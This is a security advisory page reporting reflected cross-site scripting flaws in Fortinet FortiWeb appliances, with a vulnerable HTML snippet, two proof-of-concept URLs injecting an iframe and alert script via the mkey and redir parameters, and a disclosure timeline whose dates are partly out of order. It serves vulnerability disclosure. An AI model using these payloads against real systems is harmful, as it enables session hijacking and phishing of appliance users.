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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	FortiWeb 4kC,3kC,1kC & VA Cross Site Vulnerabilities 5 Feb. 2013    Summary The Vulnerability Laboratory Research Team discovered multiple cross site scripting vulnerabilities in Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.   Credit: The information has been provided by Benjamin Kunz Mejri. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * FortiWeb Application Series v4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance A non persistent cross site scripting vulnerability is detected in Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with low or medium required user inter action and without local privileged application user account. The vulnerability is located in the Regular Expression - Validation (pcre_expression/validate) module with the bound vulnerable redir and mkey parameters. Successful exploitation results in client side account steal, client side phishing & client-side appliance module context request manipulation. Vulnerable Module(s): [+] Regular Expression - Validation Module (pcre_expression/validate) Vulnerable Parameter(s): [+] redir [+] mkey Proof of Concept: The client side cross site scripting vulnerability can be exploited by remote attackers without application user account and with medium required user interaction. For demonstration or reproduce ... Code Review: Regular Expression - Validation Module (mkey & redir) <tr><td> <table class="footer" cellpadding="0" cellspacing="0"> <tr><td> <input class="button" type="button" value="Return" onclick="if (window.opener) {window.close(); } else {document.location='/waf/pcre_expression/validate'}"> </td></tr> </table> </td></tr> <input type="hidden" name="mkey" size="22" maxlength="22" value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <"> <input type="hidden" name="validated" value="-1"> <input type="hidden" name="redir" value="/success"> </form> </table> </td> ... or <tr><td> <table class="footer" cellpadding="0" cellspacing="0"> <tr><td> <input class="button" type="button" value="Return" onclick="if (window.opener) {window.close(); } else {document.location='/waf/pcre_expression/validate'}"> </td></tr> </table> </td></tr> <input type="hidden" name="mkey" size="22" maxlength="22" value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <"> <input type="hidden" name="validated" value="-1"> <input type="hidden" name="redir" value="/success"> </form> </table> </td> PoC: https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 Disclosure Timeline: 2012-10-01: Researcher Notification & Coordination 2012-10-11: Vendor Notification 2012-10-05: Vendor Response/Feedback 2012-11-11: Vendor Fix/Patch 2012-12-01: Public or Non-Public Disclosure  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Moodle WebDav Repository Plaintext Password Disclosure Vulnerability QuickShare File Share Directory Traversal Vulnerability ELinks Security Bypass Vulnerability BlazeDVD PLF Exploit DEP/ASLR Bypass (MSF) Vulnerability WebKit Web Audio Channel Handling Race Condition Buffer Overflow Vulnerability Verax NMS Console AMF Response Plaintext Connection Information Disclosure Vulnerability Simeji for Android Application Handling Information Disclosure Vulnerability Ptlib Entity Expansion Recursion XML Nested Entity Handling DoS Vulnerability ownCloud /core/settings/ajax/setquota.php quota Parameter XSS Vulnerability Nitro Pro PDF File Handling DoS Vulnerability MailOrderWorks Dispatch Order Multiple Field XSS Vulnerability Linux Kernel Dccp Subsystem Ccid Null Pointer Dereference Local DoS Vulnerability ISC DHCP libdns Unspecified Remote Memory Exhaustion DoS Vulnerability GroundWork Monitor Enterprise Noma Component Multiple XSS Vulnerability GroundWork Monitor Enterprise Foundation Admin Interface XSS Vulnerability Google Chrome Isolated Web Sites Process Handling Issue Vulnerability Google Android On Samsung Unprivileged Arbitrary SMS Message Sending Vulnerability FFmpeg Libavcodec/error Function NULL Pointer Dereference DoS Vulnerability Commons Groups Module for Drupal Group Access Restriction Bypass Vulnerability Cfingerd RFC1413 (Ident) Client Remote Overflow Vulnerability  Featured Articles Mozilla Multiple Product HTML Editor Function Use-after-free Arbitrary Code Execution Vulnerability Exim with Dovecot Typical Misconfiguration Leads to Remote Command Execution Vulnerability IBM InfoSphere Information Server Unspecified Arbitrary Site Redirect Vulnerability Cisco Unity Express /Web/SA2/ScriptList.do gui_pagenotableData Parameter XSS Vulnerability Supportworks ITSM SQL Injection Vulnerability WirelessFiles for iPad/iPhone Multiple File Extension Upload Arbitrary Script Code Execution Vulnerability IBM InfoSphere Information Server Import Export Manager Path Subversion Arbitrary DLL Injection Code Execution Vulnerability CommentLuv Plugin for WordPress /wp-admin/admin-ajax.php _ajax_nonce Parameter XSS Vulnerability ownCloud Multiple Script Multiple Administrator Action CSRF Vulnerability IBM Multiple Product XSS Vulnerability TLS / DTLS Protocol CBC-Mode Ciphersuite Distinguishing Attack Information Disclosure Weakness Vulnerability JBoss Enterprise Application Platform / JBoss Enterprise Web Platform JMX Invoker Roll Restriction Weakness Vulnerability Google AD Sync Tool Exposure Of Sensitive Information Vulnerability VMware Multiple Product vmci.sys VMCI Control Code Handling Local Privilege Escalation Vulnerability Cisco Unity Express /Web/SA/SaveConfiguration.do Multiple Action CSRF Vulnerability AdPeeps /adpeeps_servlet.php Bannertext Parameter XSS Vulnerability Oracle Application Framework Diagnostic Mode Bypass Vulnerability Nero MediaHome NMMediaServer.dll Long Request Line Off-By-One Overflow Vulnerability Samba Samba Web Administration Tool (SWAT) Manipulation CSRF Vulnerability Adobe Flash Player And AIR Context Dependent Attacker Buffer Overflow Vulnerability
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